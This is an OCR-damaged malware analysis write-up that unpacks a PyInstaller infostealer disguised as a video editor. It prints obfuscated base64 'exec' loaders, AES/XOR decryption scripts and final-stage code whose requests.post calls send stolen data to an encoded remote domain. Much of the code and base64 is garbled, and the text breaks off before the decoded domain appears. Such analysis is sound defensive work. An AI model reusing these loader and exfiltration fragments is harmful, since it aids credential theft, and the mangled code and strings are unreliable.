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1. Context

During my participating in a Discord community, | noticed a member made the following offer
of assistance:

Looking for assistance in identifying the family of infostealer and the exact files that it would have taken. Bonus points if you can decrypt the text files in the generated directories.
I've attempted to decrypt the pyc files, however some won't decrypt

AnyRun behaved differently than triage. Looks like the VM is being detected. (di=

community driven public malware reposit
0 malware samples and tooling to the infomation sec

2. Sample hash

e Zip: b66d615fa0288229f8cc514bb01b29e6d5e9d05f41099974b9dd117b2a6f9a68
(MalShare)

o Exe: 2a19ba63e85ce75d5f2d884011dfc94f616b176ed89a67c1accOfe2179e8b591
(Triage) (VT)

3. Analysis

3.1. Extract contents of Pylnstaller generated executable

The file was found to be packaged with PylInstaller when analyzed with DiE.
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Scan Endianness Mode Architecture Type
Detect It Easy (DIE) b LE G4-hit AMDo4 GLI

* PEB4
Operation systermn: Windows(Server 2003)[AMDES, &4-bit, GUI]
Linker: GMU linker Id (GNU Binutils)(2.39)[GUIE4, signed]
Language: Python

LW L

Packer: Pylnstaller[overlay; modified]
= Overlay: Binary
Archive: Raw Deflate stream[@02h]

L

Data: ZLIE data[ZLIE compression best] 5
= Archive record[afLightCut-Video-Editor-1-5-0.unp.exe]: Binary
Format: empty file 5

The Strings data suggests that Python 3.11 was used to write this code sample:

eee17768 api-ms-win-crt-string-11-1-8.d11
Bealy7/94  api-ms-win-crt-time-11-1-8.d11
Pee17888 USER32.d11

B1C1EEBF bPythonwinimfclddu.d1l

B1C1EBGF bVCRUNTIME148.d11

B1C1E@9F bVCRUNTIMEl4® 1.d11

B1C1EABF blibcrypto-3.d11

B1C1EAEF blibffi-8.d11

B1C1EBBF blibssl-3.d11

B1C1EB7F bpython3.d1l

B1C1EB9F bpython3ll.d11

B1C1EEBF bpywin32 system32\pythoncom31l.d11
B1C1EEFF bpywin32 system32\pywintypes31l.dll
B1C1ED3F bsglite3.dll

B1C1EDSF btcl8bt.dll

B1C28E4AF bthEt.dlﬂ

B1C2ABFS  7python3ll.d1l

Leveraging the provided information, | used pyinstxtractor-ng to extract all content. The result

is as follows:
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Processing afLightCut-Video-Editor-1-5-0.exe
Pyinstaller version: 2.1+

Python version: 3.11

Length of package: 29858878 bytes

Found 1894 files in CArchive

Beginning extraction...please standby

Possible entry point: pyiboot@l_bootstrap.pyc

Possible entry point: pyi_rth_inspect.pyc

Possible entry point: pyi_rth_cryptography_openssl.pyc
Possible entry point: pyi_rth_pywintypes.pyc

Possible entry point: pyi_rth_pkgutil.pyc

Possible entry point: pyi_rth_multiprocessing.pyc
Possible entry point: pyi_rth_setuptools.pyc

Possible entry point: pyi_rth_pkgres.pyc

Possible entry point: pyi_rth__tkinter.pyc

Possible entry point: pyi_rth_pythoncom.pyc

Possible entry point: mPSCzi.pyc

Found 915 files 1in PYZ archive

Successfully extracted pyinstaller archive: afLightCut-Video-Editor-1-5-8.exe

can now use a python decompiler on the pyc files within the extracted directory

3.2. Retrieve the python source code

Based on the log provided by pyinstxtractor-ng above, we know that the main entry point is
mPSCzi.pyc. Since pyc is a pre-compiled bytecode file of a .py file, | will try using pycdc
and pycdas tools to decompile and disassemble the code of the mPSCzi.pyc file to see if it
works.

With pycdc, this tool crashed during the decompilation process, suggesting that the code
within mPSCzi.pyc might have been significantly obfuscated to hinder analysis:

' pycdc_3.exe — *

pycdc_3.exe has stopped working

A problem caused the program to stop working correctly,
Windows will close the program and notify you if a selution is
available

| Close program |

While pycdas can retrieve bytecode, the resulting code is often excessively long and
extremely time-consuming to reverse engineer.
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mPSCzi.pyc (Python 3.11)
[Code]

File Name: mPSCzi.py

Object Name: <module>

Qualified Name: <module=

Arg Count: ©

Pos Only Arg Count: @

KW Only Arg Count: ©

Stack Size: 5

Flags: 9xPeepoees

ELER
'basesd’
'exec’
'b6ddecode’
'decode’
'vzftgaozgank'
'tgkssvjtzigr®
'lezzeol’
'otgbmaczhvsxlwfi’
'nxwwcfity’
'ztossswlhozloghk'
'quwsvtaara’
'wlokiu'
'aehpajbcdzbzy’
'"dyxe1p’
'tmfcbjieqrapx’
'knusnfpzmspeuetw’
' jmhshdpgdy’
'eafjihjanfwxfm’
'wfojpeeaeaexgh’
"wdluybpftugty"®
"1hcfthhgzxh'
"hyusmnovvlpyo'
"omtlsfxpwx’
'dzbgryw’
'udxvhggunuzhjmer’
'nzulxxlaeyb’
"uznsrokcvltgne'
"iwdihaw'
'ejhbehuyncvkcewq’
B LEECILIGER
"bmurybzixs'
'zxrtirbpom'
'czcucyactsufhnyir'
'psswwwpprstswk’
'fsltgfq'
'xhpkngubm®
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Following the tips on_this page and the advice of @struppigel after some discussions, | used
the PyLingual website to try and recover the source code from the .pyc file. The website
generated mPSCzi.pyc_Source_Patcher.py as shown below:

mPSCzi.pyc
Python 3.1

Source Patcher

Syntax, Semantic Errors ¢

Source Patcher View ™ Reset Editor * Keybinding ™ Help Upload User Pateh 1,
Original Decompiled Source Source Editor
1 # Decompiled ://pylingual.io)
o . P —

80 UTC (8)

base64
(base64. bsadecode

3.3. Source code analysis and retrieve the second stage

At the very beginning of the mpsczi.pyc Source Patcher.py file, a base64-encoded string
is decoded. Decoding this string reveals:
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Input +0z3w

725tYnh jbmugPSAAMzMKZ2p3bGhnc25raXR1idwWo6dnYgPSAXMzCKZXIxaXVnc2Shelhva2Z pc 1A9TDUWOQpwc2Vid2RxcHIkcGNnamZ 1d 1 A9TDE 3NS4va1 ] UBMDQK dXNucliF 3Y 3Nke 1 AOTDgWMCAS 0Ap@bGXMY30gPSASNTcKC3VUZ3pyanFiZGZoZmtvIDAgMTUXCmhidmpyeml ieHBOdy AOTDT4
Ngp6Hd3d 27 raGZec3 )1 diBgPSAZNTQUNZQ8NZY xEml hanRheG5nZGIhIDAgZ2p3bGhnc 25 raXRidkO6dnYgLSBnbmi eGhubAp2enFveHRwY3dheCAO THB2 ZWN3 ZHFwcmRwY 2dqZm] 21CAgZX IxaXVnc25hellhvaZ pcgpdcGo5cml 1bGNi Zndy IDBgenR 3d 3dmaZhmdHily Yy ICsgZ25t Ynhj
bmeKZXh1YyhiYXNINQUYYBZGVIb2RIKGInWIT1dFluaGpi 16TUtakn YNXIhHF IpZFc: JOFATXp51pYSnhhlFZLYz 11a6VXaHZhM1pi21B0U1 EVXAPUXB3 Yz JanQyUnhjSEpry@dObaF thinl kaUESSURFMBSTHHANE LUWTURRS 2RY TV VBYZWTNOa2Vp
QT1IRGA3TUMBNUSBCDBIR3hETNYZ1BTQTVOVGNLY zNKdVozcHLhbkZphkdablptdHz JRDBnTVRVe ENtaG LkbXBS ZWExahVIQjBkeUE SSURINESNCDZKSGQzZDIacmFHH] BMBppZF c4: POVFFATnpi FoYhsS JQuZ10ycDNiRZhuYzT1cmF YUmLkVzk2Z65Z
ZOXTQM51bTFpZUd0dNIBCDI1bkZ2ZUNS d1kzZGh 1QBE SSURCe 1pXTNASEZ3Y215d1kyZHF abUoySUMAZ1pYSnhhF ZuY2T156VXaHZ M LpwWY 2dnNGNHOTVS bTEXYKd0aVPtOXZ RDBNZHSSM2Q2 ZGL hHmht ZEh0eV1uVnZ JQ3NNHI T1dF luaGpi bXdLWmSKAmI TQN1ZV 2V rY JInZ2 FXMXdiMeow

18936 = 1 Tr Rau Bytes & Lf

Output poO®::
2GOXTpCuEX = pSeCHIGprapCE]TOY - ergiugsnayhokiar

xpoyrmulcbfoo = ztwnufkhftsrbuo + gnmbxcnl

exec(base64.bbadecode (b’ 725t YnhjbmugPSA4MZMKZ 2p3bGhnc25raXRidWI6dnY gPSAXMZCKZXIxaXVnc25hellhva2ZpciASTDUWOQpwe 2Vjd2RxcHIk cGNnamZ1diA9TDE 2NS4wMjUBMDOK dXNucWF3Y3Nke 1ASIDgwMC450ApBbGXMY30gPSASNT cKc 3VuZ 3pyanF 1ZGZoZmtv IDBgMTUx
CmhidmpyemlieHBOdyA9IDI4Ngp6dHA3d2Z raGZ B¢ 3] 1dW8gPSAZNTQUNZQONzZ YxCmlhanRheG5nZGIhIDAEZ2p3bGhnc25raXRidwo6dnyYgLSBnbm1ieGNubAp2enFveHRWY 3dhe CASTHBZZWN3 ZHFWemRWY2dqZmd 21C8gZXI xaXVne25helihva2Zpcgp4cGoseml1bGNiZmovIDegenR3d3dm
a2hmdHNyYnVvICsgZ25tynh] bmuKZn IvhSBy VS kb2@gaklub2]@IHIhbmRpbnQg XM gbHp zb 29 8d Xd rZgpkenhmaG tuvXkgPSAZNDCKenZhbXVwanlvalips dGZrb2v4 IDeg zcaCndycit jdHNL a1A0 DM NC AWMZUBC nh 1Zm] ZeXVrd 2XnZ20q eGogPSAGMT gKe Gl 6anl6bGIEbGIpaGEEPSA2
NTYUMDkZMZk €MDU2CNEG ampxbG1naXFrEndthnZvIDBgMTE zCndyYnhebHQgPS AZ0DE ul JkKZHd 2b3d STDBgNZM2CMFMa2N1ZHIBZNVmb CAGTDE SOS 42N CxMTC2Cmhs Z3Bve nFpdHA oYy A0 IDMANQPX C2VqZ2 ht ZWIMZHR pIDBENEWCNI @Y1 biy16 IDegH jk 2L j¥10Qpzb2t jZitybnnkIDeg
NjAzCmZ 2dWt sY3hraHpob29kaGugPSA4MT TuNDUK 3RvdmlmYmxk cCASTHdy clit jdHN1ai At TGFma 2N1ZHIEZnVmbAp]bHI 1eX11dHFvd3T1gPSBAdWZic311a3ds72dvanhqICsge XN1amd4biVp ZmReaQpd dull: 5vemxiID@gcXNlamd4blVpZmROaSArTHp 2V 1cGpSb2] geXRma20leApl
d21hd2VjcXRpdSASTHB enpSemxvemxi alhhICs gc 20rY2Vrb2527Ap2enN5 VildgemRue i AOTHF zZWpneG1 1 ahiZkdGkgK i Bkd3Zvd3kKZHI 3YXBzYXdpbGF t dGcgPSBEANF tdXBgeldpan] @Zmtv ZXggKy By dGFtb21tego=") . decode( utf-8'))

azczzs = 981

leievacmolurhk = 368

eghsow - 819
zqkefpaikoursy =
wepktz = 153
xrilzugerd = 794
bebttamvucttbuyvp - 162

xqisbxjebdnldk - 689

GFjquankpep = 419

ehrlneo = 868

yujepudmzhy = 186

coxfzzpgkquls = 388.18

wykkygrr - 636

zgkiltvaieg - 151

bomnkifjuassh = 125

tevokf = 349

pkbynotxvx = 888

kndfwtdxswzhe = 328

vkixbqacrbucjdsftn - 96.49762

xbtukvx = 791

ekktrux = 187

pbulizdjlhvfywu = 58

hankbfq = 983

seggur - 520

Imjonrgmbozpe - bommkifjuassb - eghsow

wbaezgrnakebnk = vkuxbaacrbucidsFin * zgkefpaikoursy

hjucavlj = dfjquamkpep + bommkifjuassb

wssdnaoonbxew = xrilzwgerd - eghsow

pvaotnavtkquki = pkbynotxvx * seggur

qaezkrizify = bebttewnvicttbuyup * xbtukvx

reurfdrfnnyl = waykkygrr * wcpktz

axweyssbamhx = zqkefpaikoursy + xrilzwgerd

gbrsnxrpfke = seggur * wcpktz

exec(base64.bbadecode (b’ 725t YnhjbmugPSA4MZMKZ 2p3bGhnc25raXRidWI6dnY gPSAXMZCKZXIxaXVnc25hellhva2ZpciASTDUWOQpwe 2Vjd2RxcHIk cGNnamZ1diA9TDE 2NS4wMjUBMDOK dXNucWF3Y3Nke 1ASIDgwMC450ApBbGXMY30gPSASNT cKc 3VuZ 3pyanF 1ZGZoZmtv IDBgMTUx
Cmhidmpyem1ieHBBdyASIDI4Ngp6dHd3d2Z raGZBc 3]1dW8gPSAZNTQUNZQBNz YxCmlhanRhcG5nZGIhID@gZ2p3bGhnc25raXRidW36dnYgl SBnbmlieGNubAp2enFveHRuY 3dhe CASTHBz ZWN3 ZHFwcmRwY2dqZm] 21CBgZX] xaXVnc25hellhva2 Zpcgp4cG95cm1 1bGNiZmIvIDagenR3d3dm
a2hmdHNyYnVvICsgZ25tYnh] bmukZnIvbSBicnludGoncmFwaHkuaGF6bWFOLnByakil pdG1 2ZXMuY 21waGVy cy BpbXBy cnQgViixnb 31 pdGhtcyBhcyB2Y2 hhbmdy aXNmLCBtb2R1cyBhe yBnbGRmbnhgamlx LCBDaXBoZXIgYXMgdm] reXN1ZGNp cQphc3d 1dHQEPSARNDYKanp1cHBS a21kb3By.
IDegNDM3L j<3MDQYNTKSOTCKal16bmolemIweWE gPSAZNZC UOTK@ODEAODYK dmpqY3Zmd3Z 3amE gPSA3MzkKdndOZHh@bWs gPSA4NQPMbGOhZ3Z2eWVuZ2Z1c2doc2ggPSAZMi4w0TU20DUXCmdodHI ZaXV1ZXNYYXZ 6YnF rIDRgoDceCnImblkWes cRubmpkdXpwemd qIDRgNTkxCmIWZHR1Z3 1u
s biogP SBqemvincHL bRy CHIgKyB2d3RkeHR tawp 123phemzqchix] cy A T6dodHI zaXV 1ZXHyYXZ6Yn FrICogalil6bm LemJuekE KeHpydiI vbX 11 cmiu ID@gdmpq Y3 Znd 32 2amEgK iBmbGSh 737 2eWvuz2 2] c2doc 2gKZmI 6Zmt keGp3 IDBgdmpqY3Zmd 37 3anE gL SBhe 3d 1dHQK akixYnvp.
eCASTHZ3dGRAAG1 P TCAganp] CHBSa21kb3ByCmOXZXImdXF veHNshG ImTDAgdmpaY 37md 37 3amE gKyB 2d3RkeHR awpvbG1vdGBgPSByZm veXFkbmSqZHVE CHI1 a1Aq THZqamh2Znd 2d 2phCmSy ZnFkZ2dq ZXMy bGx pTDBgdmpaY3Zmd 37 3amEgK BraHRy c 2117k zCF 2em XawpUCIRSZXFp

Continuing to decode each Base64 string as shown in the figure, we obtain the following
results:

Input + O 8"

Z25tYnhjbmugPSA4MzMKZ2p3bGhnC 25raXR1dNIGENYEPSAXMZCKZXIxaXVnC 25 hellhva2Zpc 1A9TDUWOQPWC 2V d2RxcHIkcGNnanZ1d1AOTDE NS Al jUBHDOKAXNuCHF 3Y 3Hke 1 ASTDEWHMC A5 0ApBbGXY 30gPSASNTCK C 3VuUZ 3pyanF 176Z0Znt v IDBgMTUXCmhidmpy
emi1ieHBBdYASIDIANgp6dHA3d2Z raGZoc3]1dnagPSAZNTQUNZQBNZ YXCLhanRhCGSNZGIh1D8gZ2p3bGhnc 25 raXR1dio6dnYgL SBbmL i eGHubAP2en FyeHRY 3dheCAITHBZZWN3ZHFWCmRWY 2dgZm) 21CBEZXIXaXVNc 25 hekhva2Z pegpacaoscml1bGHi ZnovIDag
enR3d3dma2hndHNy YnVvICsgZ25tYnhjbmiKZnIvbSBy Y5 kb28gakilub3I@IHIhbmRpbnQg YXMgbHpzb29@dXdrZg pkemhmaGtYXkgPSAZNDcKenZhbX\Viran1vakp5dGZrb2VAIDeghzcCndy chit jdHN1ai ASTDM3NCAwMZUBCNh1Zm) zeXVrd2xnZ29qeGogPSABNTEK
cGI6en16bGI6DGIpaGEGPSAZNTY UMDkzMZkxDU2CNBgampXbELNaXFrZndtbnZyIDAgHTEZCndvYnhebHQEPSA3ODEUNTKKZHA2b3dS 1DBENZH2CFmaZN1 ZHI6ZnVmbCAIIDESOSA 2N cxMT c2CmhsZ 3BvenF pdHdoYyAS IDMAHQpxE 2VqZ 3htZWInZHRpIDEgN JEWC NI
YW1vbi161D@gN k2L Y100pzb2t jZhtvbnNkIDBgN AzCmZ2dut s Y3hraHpob29kaGwgPSAAMTIUNDUK c 3RvdmmyYmxkcCAOTHdy cit jdHNLaiAtIGF ma2N1ZHI6ZnVmbApjbHI 1eX11dHFvd3IgPSBAdhZic311a3dsZ2dvanhqICsgeXhl padizensy
cmxd ID@geXHLandabiiypZnRe2SAr THp2VH11cGpSh2] gexRna2e] eApld21hd2vcxRpdSATHB denpSemxvemdakhh ICSgC2orY2Vrb252ZAp2entsYidqenAue 1A9 THE 2ZhpneG1 1aUZ kdGkgkiBkd32vd3kKzZHI 3yxB2Yxd thFthchSEE-dethquwgpanlathv

e 1243 =1 Tr Raw Bytes & LF

Output Aa0m:

gnmbxenl = 833

gjulhgsnkitbuozvy = 137

ergiugsnayhekfir = 589

psecudgprdpegifby = 175.025404

usnqawcsdz = 80@.98

tllfcz = 957

sungzrjgbdfhfko = 151

hbvjrznbxptu = 286

ztwwwfkhftsrbuo = 354.744761

majtapngdba = gjulhgsnkitbuozvy - gnmbxcnl
vzgoxtpcuax = psecudaprdpegifby - ergiugsnayhokfir

from random

mport randint as lzsootuwkf
ZhFhkpay = 320

zvanupjyoljytfkoex - 374

wrgkctsuj = 374.8354

xufbsyuknlggoixi - 418

pbzzyzlozlbiha = 656.293301056
pijjalmgiqkfunnvo = 113

wobxtlt = 781.69

dwvowy = 736

afkcudrzfufl = 199.6671176

hlgporgitwhe = 381

gsejgxmeifdti - 610

rtamommz = 696.650

sokcekonsd = 603

Fuuklexkhzhoodhl = 812.45

stovifbldp - wrgkctsuj - afkcudrzfufl

clrbyyutgour = xufbsyukwlggojxj + gsejgxmeifdti

xucsynorlb = gsejgxmeifdti + zvamupiyoijytfhoex

ewmawecqtiu = pbzzyzlozlbiha + sokcekonsd

vzsyagizdpz - gsejgxmeifdti * dwvouy

druapsawilamtg = zvamupjyeijytfkoex + rtamommz

So, the main goal of that initial base64-encoded string was to import Python modules. To
recap, here’s what I've got:
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from random import randint as lzsootuwkf

from cryptography.hazmat.primitives.ciphers import algorithms as vchanbrisf, modes as

gldfnxjjmq, Cipher as vbkgsedciq

from cryptography.hazmat.backends import default_backend as nbpulimqgtg
from cryptography.hazmat.primitives import padding as thtgizfsfm

from base64 import b64decode as bmurybzixs
from sys import exit as yoyjlhcngi

Further analysis of mPSczi.pyc_Source_ Patcher.py reveals numerous junk functions. These
functions have randomly generated names, perform calculations internally, and then are

immediately invoked.

dzjcjdgcuzgbst = 291
ukistyemc = 92
wfhwgsmvnsaywemh
zjdekmggydtkkeewk
hurupvxyln = 706
bzugjmnpdukpwbn =
kqwbztzyewpgbsw
mgjvanabhokvsp =
rlksmjljioukzypba
xioniovixeviqtygm =
lbvisicnpivvpiktw =
erehoxnn 5
lvfxekkhk
epmoxdvmike =
lkgcgog =

mdsuga =

bplajkbog 30
zdsstdlvyhzad
grjhyqqiqqr =
kripbodjagkkebcn = 254
ssdikakr = 355

ad e

L 2 |
5~

&2n

L
L= ]

pfbrsxf = erehoxnn - hurupvxyln
except Exception:
return None
vzftgaozgank()

L L L
00 =l

~T=]

'E:

These garbage functions are designed to obfuscate the analysis process. Upon closer

inspection, | noted the following variable:

fgvshdlml = wfhwgsmvnsaywemh + grjhygqiqqgr
hckiszibpoia = kqwbztzyewpgbsw + wfhwgsmvnsaywemh
hxjfgi = lbvjsicnpivvpiktw * ssdjkakr

otyftod = rlksmjljioukzypba - zdsstdlvyhzadav
yfuwmqqyt = zjdekmggydtkkeewk + rlksmjljioukzypba
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aukqdqsxsj
b'mitkvp \ a20%f20 a,f# i | 5t C C 3 f juc JF7Nt Clp:

FKWABW
fouc]i

fu| rumcuffi
f
$rrarte $
NPwl}

Based on this variable, aukqdqsxsj, | tracked down the relevant code parts and cleaned up

the unnecessary bits. The resulting code snippet is used to decrypt the second stage of the
data, and it looks like this:
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from random import randint as lzsootuwkf

from cryptography.hazmat.primitives.ciphers import algorithms as vchanbrisf, modes as
gldfnxjjmqg, Cipher as vbkgsedciq

from cryptography.hazmat.backends import default_backend as nbpulimqtg

from cryptography.hazmat.primitives import padding as thtgizfsfm

from base64 import b64decode as bmurybzixs

from sys import exit as yoyjlhcngi

try:

zxrtirbpom = bmurybzixs(b'l16i7wclE+B6Yhr8JJ3vffQ==")

njaxetfshn = b'\x93\xf9\xd3\n\xf4\x1b41\xaa\xba\xbf\xc1\xb3\x05\xal1i\x8e\x8fI ?
Y\xb2\xd60\x0ed\xb5\xd2\x02u\x1e\xba\x0ehH\x8c\xf2\xdf#+a\x14\xba, \x0e\x03w'
except Exception:

pass

def omtlsfxpwx(mtszwudwam, tuhebphwuf):
try:
xffgufhvvi = vbkgsedciq(vchanbrisf.AES(tuhebphwuf),
gldfnxjjmq.CBC(mtszwudwam[:16]), backend=nbpulimqgtg())
ioiymamfcp = xffgufhvvi.decryptor()
uzuyzymspb = ioiymamfcp.update(mtszwudwam[16:]) + ioiymamfcp.finalize()
return jmhshdpgdy(uzuyzymspb)
except Exception:
return None

def jmhshdpgdy(fapayormxp):

try:
lgowebtzvy = thtgizfsfm.PKCS7(128).unpadder()
mtszwudwam = lgowebtzvy.update(fapayormxp)
mtszwudwam += lgowebtzvy.finalize()
return mtszwudwam

except Exception:
return None

try:
dpvkmmjzlv
ptrnyfhyex =

b"\xed8f\xd3g\x0f ' >\x15\x08ntK4u\XF7\x99X\xdcNS\x86\xabn\x045\xff\xde\x11b\xe7\xch"

except Exception:
pass

omtlsfxpwx(njaxetfshn, zxrtirbpom)

try:

viwoyxfprz = omtlsfxpwx(ptrnyfhyex, dpvkmmjzlv)
except Exception:

pass

def quwsvtaara(mtszwudwam, tuhebphwuf):
return bytes((b A tuhebphwuf for b in mtszwudwam))
iltzxihvvr = int.from_bytes(viwoyxfprz, "big") #iltzxihvvr = 4
try:
aukgdqgsxsj =
b'mitkvp$fewa20\t\x0ea|ag, fewa20*f20 agk a, f#AjNrfWFngjhs C=jgiBselLoqeCB2fSB4HjF}eS5t"
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\t\x0e$$$$\t\x0e"

txkehbuplc = bytes(aukqdgsxsj)
except:

pass

xored_blob = quwsvtaara(txkehbuplc, iltzxihvvr)

with open('dumped_stage2.py', "wb") as f:
f.write(xored_blob)

print("OK!")

After running the script, | obtained the following dumped_stage2.py:

import base64
exec(base64.b64decode(b’ ZnIvbSBjcnlwdGOncmFwaHkuaGFEbIWFOLNBYaWlpdGl

def Q-
iderwppuacthmp()
def (3Ts¥ycfBqh):
try:
return JTsYycfBgh[:-ord(JTsvycfBqh[-1:])]
except Exception:
pass
def ():

kkLomgmdm( )

def ():
wmxzpi()

def (3TsYycfBQh):
try:
rlghewzxxT = 16 - (len(JITsyycfBQh) % 16)
return JTsYycfBoh + (chr(rlghewzxxT) #* rlgheWzXxT).encode()
except Exception:
pass

def 0:

wictarkabhx( )|

3.4. 2" stage analysis and retrieve the final stage

Similarly to the previous stage, | decoded the base64 string related to importing Python
libraries.
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Input + Ozl 1 &=

ZnIvbsSBjcnlwdGOncmFwaHkuaGF 6bWFBLNBYallpdGl27XMuY?2 lwaGVycyBpbXBvcnQgYlxnb3IpdGhtcyBhcyBBOmFxbHFkbnZhL
CBtb2R1cyBhcyBiamVQuWnFxTURBLCBDaXBoZXIgYXMgTUVITUZ iRmSkaQpmemetIGNyeXBab2dyYXBoeS50YXptYXQuymFja2VuZH
MgaWlwb3J0IGR1ZmF1bHRFYmFja2VuZCBheyBoSEFScUNycmeTCmZyb2@gc31zIG1tcGOydCBleGlOIGFzIEYqdGOnaklURKIKZN]
vbSBvcyBpbXBvcnQgdXIhbmRvbSBhcyBmUHZ 15kpZRUpgCmZyb28gemxpYiBpbXBvenQgZaVib2lwcmvzcyBhcyBnTG1MamhShW12
CmZyb28gYmFzZTYBIGltcGOydCBINJRKZWNVZGUEYXMZTOFaQ3BuSFdsYiwgYjYEZWSjb2R1IGFz IGRKbkFmULRERXYK

e 495 = 1 Tr Raw Bytes & L

Output B0 mE:

from cryptography.hazmat.primitives.ciphers import algorithms as ABaglgdnva, modes as bjePZgqMDt,
Cipher as MEHMFbFndi

from cryptography.hazmat.backends import default_backend as hHARgCrros

from sys import exit as O0jtogjITFB

from os import urandom as fPwvulJIYEJJ

from z1ib import decompress as glmLjhyYmv

from basebd import beddecode as OAZCpnHWlb, bédsncode as dInAfRTmEv

Analyzing the code, we encounter another variable, bwuuvaBGuq , which stores a large blob
of data.

Using this variable as a starting point, | reverse-engineered the code to find the section that
decodes the final stage. This is the code snippet | extracted:
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from cryptography.hazmat.primitives.ciphers import algorithms as ABaqlqgdnva, modes as

bjePzqqMDt, Cipher as MEHMFbFndi

from cryptography.hazmat.backends import default_backend as hHARQCrroS
from sys import exit as O0jtogjITFB

from os import urandom as fPVuJJYEJ]

from z1lib import decompress as gLmLjhyYmv

from base64 import b64decode as OAZCpnHwlb, b64encode as dJnAfRTmEv

def bmfzZuPhAud(JTsYycfBQh):
try:
return JTsYycfBQh[:-ord(JTsYycfBQh[-1:])]
except Exception:
pass

def nsmYLYUczz(JTsYycfBQh):
try:
rlghewzXxxT = 16 - (len(JTsYycfBQh) % 16)
return JTsYycfBQh + (chr(rlghewWzXxT) * rlgheWzXxT).encode()
except Exception:
pass

def hXPM1IWQCn(vvTHHCEOGS, QZwvIGUeVD):
try:
EIrzLuQRsS = hHARQCrroS()
QZwvIGUeVD = OAZCpnHW1lb(QZwvIGUeVD.encode('utf-8'))
pbLgTHrOyv = QZwvIGUeVD[:16]
fjfiiNMXUq = QZwvIGUeVD[16: ]
DPACsoXRPA = ABaglgdnva.AES(vVvTHHCEOGS)
NNLBqunLLV = MEHMFbFndi(DPACsoxRPA, bjePzqqMDt.CBC(pbLQTHroyv),
backend=EIrzLuQRsS)
SsIadmzZVoR = nNLBqunLLV.decryptor()
return bmfZuPhAUd(SsIadmzZVoR.update(fjfiiNMXuq) +
SsIadmzVoR.finalize()).decode('utf-8")
except Exception:
pass

def eARiHgONnvx(vvTHHCEOGs, JTsYycfBQh):

try:
EIrzLUQRsS = hHARQCrroS()
DPACsoXRPA = ABaglgdnva.AES(vVvTHHCEOGS)
pbLgTHroyv = fPvuJJYEJ](16)
nNLBqunLLV = MEHMFbFndi(DPACSoxRPA, bjePzqgMDt.CBC(pbLgTHroyv),

backend=EIrzLuQRsS)
fMKENYCOTF = nNLBqunLLV.encryptor()
fjfiiNMXUq = fMKENYCOTF.update(nsmYLYUczz(JTsYycfBQh)) +
fMKENYCOTF.finalize()
return dJnAfRTmEvV(pbLqTHrOyv + fjfiiNMXUq).decode('utf-8")
except Exception:
pass

try:
LvXmVMzoGq = "/aWwTzKHi08="
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KUoYacjxpH = "UR/2CNnzXGo="
kHwWYAPSzre = OAZCpnHWlb(LvXmVMzoGq.encode('utf-8')) #b64decode
PZHzhrfrSM = OAZCpnHWlb(KUoYacjxpH.encode('utf-8')) #b64decode

UCNnmcZiYq = kHwYAPSzre + PZHzhrfrSM
except Exception:
pass

try:

bwUUvaBGuq =
"MQOCLE3tioNVFOgHDO/vGbWKW71i/HXgIcWkuzqdxS1rGnbSTp/0LnWilLgi4JgwCN/ZAC1+0/9BHLDWEUt+7bj
..redacted..
HGMMtNZ1nxVUgecA/Ih651+Rpo67HROrw4/p+A7r9+vTes5iTKC81kHbpgAdZRvjG/0y+TpxzUS5LCQORArkx2¢

nQrQvmgbVm = hXPM1IWQCn(UCNnmcZiYq, bwUUvaBGuq)

nQrQvmgbVm = OAZCpnHW1lb(nQrQvmgDVm)

nQrQvmgbVvm = gLmLjhyYmv(nQrQvmgDVm)

zmkEwHDgbQ = fPvVUuJJYEJ](16)

bwUUvaBGug = eARiHgOnvx(zmkEwHDghQ, nQrQvmgDVm)

nQrQvmgbVm = hXPM1IWQCn(zmkEwHDgbQ, bwUUvaBGuq)
except Exception:

pass

try:

wexsLJIswss = OAZCpnHW1b( 'ZXh1lYyhuUXJRVm1xRFZtKQ==").decode() #'exec(nQrQvmgbVm)'
except Exception:

pass

#try:
#eval (wexsLJIswsSS)
#except Exception:
#pass

with open('dumped_final_stage.py', "wb") as f:

f.write(nQrQvmgbDVm.encode())
print("oK!")

Upon execution of the script, the output file dumped_final_stage.py was generated. Its
contents are as follows:
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import os

import sys

import string

import random

import requests

import json

import

import

import

import

import threading

import shutil

import base64

import re

import customtkinter

from PIL import Image, ImageTk

import win

import win32con

import urllib.parse

import pyzipper

from cryptography.hazmat.primitives.ciphers import Cipher, algerithms, modes
from y a hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from hazmat.primitives import hashes

from y .hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import importlib.util

except Exception:
time.sleep(10)
epPokshdwnnSuBqKiz fiwdHsSkE += 1

cbFGrgLDpkHRotHdlecP =

tr
if not os.path.exists(wZoRNUNDIKaKUDAj
os.makedirs(wZoRNUNDIKaKUDAJ )

NUYWzJ1fZqzCY = os.path.join(sdAEeAstkHQSOFO, ' Hkwks

gfwbi ddapucdr

atmjsyipxholvd

nggmtgxbhhhvmjd

yzrhfajhgzemaln

nbgbnijpx -

squcmgnbetmbc nbgbnijpx - gfwbaycxuddapucdr

zpalsc = atmjsyipxholvdy + nggmtgxbhhhvmjd

tgkwrg = gfwb ddapucdr * nbgbnijpx

HAoerUaTEFJWt = decrypt_folder(nwveCiPbWdXZPcPhuJByppliw, NUYWzJI1fZqzCY, JWcbFGrgLDpkHRotHdlecP, wZoRNUNDIKaKUDA])

if not HAcerUaTEFJW
raise Exception(”

ymQgmpaawDbMVGbeKxqc = wZORNUNDIKaKUDAj

except Exception as e:
self.gRLyNNhzCCjHLYhgTz. FSSNjavigdgNCwPbUzBwhc(f " Error p: ing the file due to: {e ibDkaTwFVOrtiQBrzDYiglX}) ntry: {JmsYsdgkwiynLehzKJslOnGsn})")
return False

dzrhocrr 4

posted.

zKxikpxVaEggZIN = requests.post(f ' [Jlll://{RYBTeAezbiU0Oxeloi}/sunrise’, data=DGZJIhrJUJvGXRhzvb, timeout=10)
zKxikpxVvaEggZIN = requests.post(f'https://{RYBTeAezbivoxeloi}/sunrise', data=DGZIhrJUJvGXRhzvh, verify=False, timeout=10)
zKxikpxVaEggZIN = requests.post(f htips {RYBTeAezZbiUOxeloi}/luminous', data=DGZJIhrJUJvGXRhzvb, timeout=10)

zKxikpxVaEggZIN = requests.post(f'https://{RYBTeAezbilOxeloi}/luminous', data=DGZIhrJUJvGXRhzvb, verify=False, timeout=10)

ayQvBgSjpacRn = 'https i son/
BXhTwofVikzDBA ‘https://ifconfis.c

The related code perform decoding the domain:

ZWHmjDkfVvkvdclV = 'bWdzdHNOdWRpby5zaGOw'
RYBTeAezZbiUOxeloi = base64.b64decode(ZWHmjDkfVvkvdclV) .decode()

By decoding, we obtained this domain:
